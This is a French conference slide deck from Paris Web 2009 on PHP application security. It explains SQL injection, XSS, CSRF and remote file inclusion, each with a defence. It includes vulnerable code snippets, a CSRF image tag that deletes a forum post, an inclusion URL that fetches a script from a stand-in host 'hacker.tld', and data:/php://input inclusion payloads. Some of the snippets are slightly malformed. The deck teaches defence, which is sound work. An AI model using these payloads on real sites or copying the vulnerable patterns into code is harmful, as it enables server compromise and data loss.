J’ai des trous, des p’tits trous,   encore des p’tits trous...Sécurité des applications web en PHP - Sébastien Pauchet et ...
Sébastien Pauchet      seb@automne.ws - @Automne_WS‣   Responsable technique chez WS interactive‣   Architecte logiciel du...
Frank Taillandier frank.taillandier@ac-toulouse.fr - @DirtyF‣ Chef de projet web‣ «Expert» en accessibilité web‣ Contribut...
Sécurité ?
Sécurité : définition« Les principes de la sécurité dune application sont un ensemble depropriétés souhaitables de comporte...
97% des sites web sont hautement vulnérables           http://www.webappsec.org/projects/statistics/
Points essentiels1.   Mettre en place une défense en profondeur (sécurité à tous les niveaux)2.   Minimiser la surface d’a...
Ouvert 24/24
Les 3 phases d’un exploit Détection •   Recherche d’informations liées aux applications et au système •   Tests automatisé...
Les attaques
Injections SQL
Injection SQLDifférents types d’injection : SQL, LDAP, XPath, XSLT,HTML, XML, commandes systèmes et beaucoupd’autres.Défini...
Injection SQLExempleSi la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validationou encodag...
Injection SQLSolutions• Validation de toutes les données d’entrée.• Evitez les messages d’erreurs détaillés.• Utilisez de ...
XSS : cross-site scripting
XSS : cross-site scriptingDéfinition : XSS consiste à injecter du code HTMLou Javascript sur un site.Conséquences : Détourn...
XSS : cross-site scriptingPar réflexion : une page renverra à lutilisateur desdonnées fournies directement à celui-ci :echo...
XSS : cross-site scriptingSolutionsValidation d’entrée : valider la longueur, le type et la syntaxe de toute entréesaisie ...
CSRF : cross-site request forgery
CSRF : cross-site request forgeryDéfinitionForcer le navigateur dune victime ayant une session ouverte sur uneapplication w...
CSRF : cross-site request forgery•   Bob est ladministrateur dun forum, il y est connecté par un système de    sessions.• ...
CSRF : Cross Site Request ForgerySolution•   Ne pas utiliser de requête HTTP GET pour effectuer des actions.•   Demander d...
RFI : Remote File Inclusion
RFI : Remote File InclusionDéfinition : Linclusion de fichier distant permet dexécuter son propre code survotre serveur en e...
RFI : Remote File Inclusion  Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) :        include $_SERVER[‘DOCUM...
RFI : Remote File InclusionSolution• Filtrer les entrées utilisateurs (whitelist).• Sécuriser les configurations (désactive...
ConclusionPour les développeurs• Pensez à la sécurité lors de la conception de vos applications ;• Adopter les standards d...
Ressources•   OWASP : Open Web Application Security Project•   Les dix vulnérabilités de sécurité applicatives web les plu...
Crédits photos•   Impact : http://www.flickr.com/photos/dirtyf/3369077142/•   Security Guard : http://www.flickr.com/photos/...
Prochain SlideShare
Chargement dans…5
×

Securitedesapplications 091011120426-phpapp02

750 vues

Publié le

  • Soyez le premier à commenter

  • Soyez le premier à aimer ceci

Securitedesapplications 091011120426-phpapp02

  1. 1. J’ai des trous, des p’tits trous, encore des p’tits trous...Sécurité des applications web en PHP - Sébastien Pauchet et Frank Taillandier - 10 octobre 2009 - Paris Web
  2. 2. Sébastien Pauchet seb@automne.ws - @Automne_WS‣ Responsable technique chez WS interactive‣ Architecte logiciel du CMS open-source Automne‣ Ingénieur PHP5 certifié par Zend‣ 10 ans de développement Web
  3. 3. Frank Taillandier frank.taillandier@ac-toulouse.fr - @DirtyF‣ Chef de projet web‣ «Expert» en accessibilité web‣ Contributeur au CMS open-source Automne
  4. 4. Sécurité ?
  5. 5. Sécurité : définition« Les principes de la sécurité dune application sont un ensemble depropriétés souhaitables de comportement, de design et de mise enoeuvre qui contribuent à réduire la probabilité de la réalisation et delimpact de menaces. Les principes de sécurité sont indépendants dulangage et de larchitecture et peuvent être un levier dans la plupartdes méthodologies de développement pour concevoir et construire desapplications.En considérant ces principes nous pouvons prendre des décisionsdarchitecture et dimplémentation et identifier les faiblesses possiblesdes systèmes. » Source : OWASP (Open Web Application Security Project)
  6. 6. 97% des sites web sont hautement vulnérables http://www.webappsec.org/projects/statistics/
  7. 7. Points essentiels1. Mettre en place une défense en profondeur (sécurité à tous les niveaux)2. Minimiser la surface d’attaque3. Minimiser la portée des erreurs4. Exécuter avec le minimum de droits5. Eviter de baser uniquement la sécurité sur un système fermé6. Garder un système de sécurité simple (KISS)7. Pouvoir détecter les intrusions (garder une verbosité suffisante des fichiers journaux)8. Ne jamais faire confiance à l’infrastructure9. Ne pas se fier aux utilisateurs10. Mettre en place une sécurité par défaut psychologiquement acceptable
  8. 8. Ouvert 24/24
  9. 9. Les 3 phases d’un exploit Détection • Recherche d’informations liées aux applications et au système • Tests automatisés Les attaques les plus critiques • Injection SQL : 8% des sites web vulnérables (Source : stats WASC 2007) • XSS (Cross site scripting) : 31,5% des sites web vulnérables • CSRF (Cross site request forgery) • RFI (Remote file inclusion) Exploitation • Prendre le contrôle de votre infrastructure (accès au serveur) • Obtenir vos données • Modifier vos données • Vous empêcher de communiquer (DOS : denial of service)
  10. 10. Les attaques
  11. 11. Injections SQL
  12. 12. Injection SQLDifférents types d’injection : SQL, LDAP, XPath, XSLT,HTML, XML, commandes systèmes et beaucoupd’autres.Définition : Les attaquants dupent linterpréteur enlui faisant exécuter des commandes non prévues.Conséquences : Permettre de créer, lire, modifier oueffacer les données de l’application.
  13. 13. Injection SQLExempleSi la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validationou encodage, l’application est vulnérable :$sql = "SELECT * FROM table WHERE id = " . $_REQUEST [id’] . "’";
  14. 14. Injection SQLSolutions• Validation de toutes les données d’entrée.• Evitez les messages d’erreurs détaillés.• Utilisez de préférence des requêtes SQL stockées ou les requêtes paramètrées.• N’utilisez pas les fonctions d’échappements simples.
  15. 15. XSS : cross-site scripting
  16. 16. XSS : cross-site scriptingDéfinition : XSS consiste à injecter du code HTMLou Javascript sur un site.Conséquences : Détourner des sessions utilisateur,défigurer des sites web, insérer du contenu hostile,effectuer des attaques par phishing, et prendre lecontrôle du navigateur de lutilisateur.
  17. 17. XSS : cross-site scriptingPar réflexion : une page renverra à lutilisateur desdonnées fournies directement à celui-ci :echo $_REQUEST [userinput];Par stockage : stocke des donées hostiles, etultérieurement, affiche les données non filtrées à lutilisateur.Par injection DOM : le code JavaScript et les variables dusite sont manipulés plutôt que les éléments HTML.
  18. 18. XSS : cross-site scriptingSolutionsValidation d’entrée : valider la longueur, le type et la syntaxe de toute entréesaisie avant daccepter laffichage ou le stockage des données. Accepter seulementquelque chose de connu (whitelist). Rejeter toute entrée invalide.Encodage des données en sortie : Assurez-vous que toutes les donnéesécrites par lutilisateur sont convenablement codées par entité avant le rendu.Pas de blacklist pour détecter XSS. La recherche et le remplacement de justequelques caractères ("<" ">" et dautres caractères ou expressions semblables tellesque "script") est faible. Même un tag non vérifié "<b>" est dangereux dans certainscontextes.Plus d’exemples sur http://ha.ckers.org/xss.html
  19. 19. CSRF : cross-site request forgery
  20. 20. CSRF : cross-site request forgeryDéfinitionForcer le navigateur dune victime ayant une session ouverte sur uneapplication web à effectuer une requête sur cette dernière application.A la différence du XSS qui exploite la confiance d’un utilisateur envers unsite, CSRF exploite la confiance d’un utilisateur envers son navigateur.ConséquencesToute application web qui ...• ne dispose pas de vérifications dautorisation (confirmation, jeton) avant deffectuer des actions,• autorise des requêtes basées sur une authentification automatique (cookies de session, ‘Se souvenir de moi’),... est vulnérable.
  21. 21. CSRF : cross-site request forgery• Bob est ladministrateur dun forum, il y est connecté par un système de sessions.• Alice est un membre, elle veut supprimer un des messages. Elle na pas les droits nécessaires avec son compte. Elle va utiliser celui de Bob grâce à une attaque de type CSRF.• Alice arrive à connaître le lien qui permet de supprimer le message.• Alice envoie à Bob un email contenant une pseudo-image à afficher : <img src="http://bob.com/delete.php?post=id" />• Le navigateur de Bob affiche la pseudo-image ce qui actionne le lien. Ne reconnaissant pas le type dimage associé, le navigateur naffiche rien.• Bob ne sait pas quAlice vient de lui faire supprimer un message.
  22. 22. CSRF : Cross Site Request ForgerySolution• Ne pas utiliser de requête HTTP GET pour effectuer des actions.• Demander des confirmations à lutilisateur pour les actions critiques.• Utiliser des jetons de validité dans les formulaires : <? $token = sha1(rand(0, 99999)); $token_name = sha1(rand(0, 99999)); $_SESSION[token] = $token; $_SESSION[token_name] = token_name(); ?> <form action="/add_post.php" method="post"> <input type="hidden" name="<?php echo $token_name; ?>" value="<?php echo $token; ?>" /> <p>Subject: <input type="text" name="post_subject" /></p> <p>Message: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Add Post" /></p> </form>• Pour les requêtes Ajax : utiliser un header HTTP spécifique à votre application pour signer la requête.
  23. 23. RFI : Remote File Inclusion
  24. 24. RFI : Remote File InclusionDéfinition : Linclusion de fichier distant permet dexécuter son propre code survotre serveur en exploitant la possibilité de linclure directement dans votre site.Conséquences : Fournir des données d’entrée (comme des URLs) dans desfonctions de gestion de fichiers non vérifiées peut conduire :• à l’exécution de code distant,• à l’installation de rootkit pour compromettre votre système.Cette attaque est particulièrement répandue sur PHP, un soin extrême doit êtrepris avec tout flux ou toute fonction de fichier afin de sassurer que lentrée fourniepar lutilisateur ninfluence pas les noms de fichiers.
  25. 25. RFI : Remote File Inclusion Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) : include $_SERVER[‘DOCUMENT_ROOT’].’/fichier.php’; Vulnérable avec l’URL : http://site.tld/file.php?_SERVER[DOCUMENT_ROOT]=http://hacker.tld/ script.txt? Toute version de PHP (quelque soit la configuration) : include $_REQUEST[filename’];Exemple 1: Utiliser php://input pour lire les données POST <?php // L’inclusion suivante va inclure et exécuter toutes // les données POST include "php://input"; ?>Exemple 2: Utiliser data: pour inclure du code arbitraire <?php // L’inclusion suivante va exécuter le code encodé en // base64 : Ici, un phpinfo() include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+"; ?>
  26. 26. RFI : Remote File InclusionSolution• Filtrer les entrées utilisateurs (whitelist).• Sécuriser les configurations (désactiver allow_url_fopen, allow_url_include (PHP 5.2), register_globals).• Ne pas inclure de fichiers depuis une variable.• Vérifiez que les fonctions de fichiers et de gestion de flux sont soigneusement contrôlées. Les données utilisateurs ne doivent pas être utilisées par des fonctions prenant un fichier en argument. Exemple, les fonctions suivantes : include() include_once() require() require_once() fopen() imagecreatefromXXX() file() file_get_contents() copy() delete() unlink() upload_tmp_dir() $_FILES move_uploaded_file()
  27. 27. ConclusionPour les développeurs• Pensez à la sécurité lors de la conception de vos applications ;• Adopter les standards de codage ;• Refactorisez le code existant pour utiliser des conceptions plus sûres ;• Testez votre code pour identifier tout défaut de sécurité ;• Consultez les ouvrages de références.Pour les décideurs• Employez des développeurs qui ont une réelle ou forte expérience dans la sécurité ou formez-les !• Faites tester les défauts de sécurité tout au long du projet : conception, construction, test et déploiement ;• Allouez des ressources, du budget et du temps dans le plan projet pour remédier aux problèmes de sécurité ;• Considérez lutilisation dauditeurs de code tiers.
  28. 28. Ressources• OWASP : Open Web Application Security Project• Les dix vulnérabilités de sécurité applicatives web les plus critiques 2007• Adam Barth, Collin Jackson, and John C. Mitchell : Robust defenses for CSRF• http://ha.ckerz.org : Web Application Security Lab• http://sectools.org/ : logiciels de test automatisés (Nikto, WebScarab, Acunetix, WebInspect,)• http://www.php.net/manual/security• MISC (Multi-system & Internet Security Cookbook) est un magazine bimestriel français spécialisé dans la sécurité informatique
  29. 29. Crédits photos• Impact : http://www.flickr.com/photos/dirtyf/3369077142/• Security Guard : http://www.flickr.com/photos/f1rstborn/2440157127/• Hi Jacking Hot Spot : Luka Skracic• Open : http://www.flickr.com/photos/mag3737/1914076277/• Pirates : http://www.flickr.com/photos/joriel/3230590513/• Injections : http://www.flickr.com/photos/limowreck666/223731385/• Bike air : http://www.flickr.com/photos/dirtyf/3518547212/• Surf fail : http://www.flickr.com/photos/edwindejongh/369296684/• Remote : http://www.flickr.com/photos/cayusa/2530412232/

×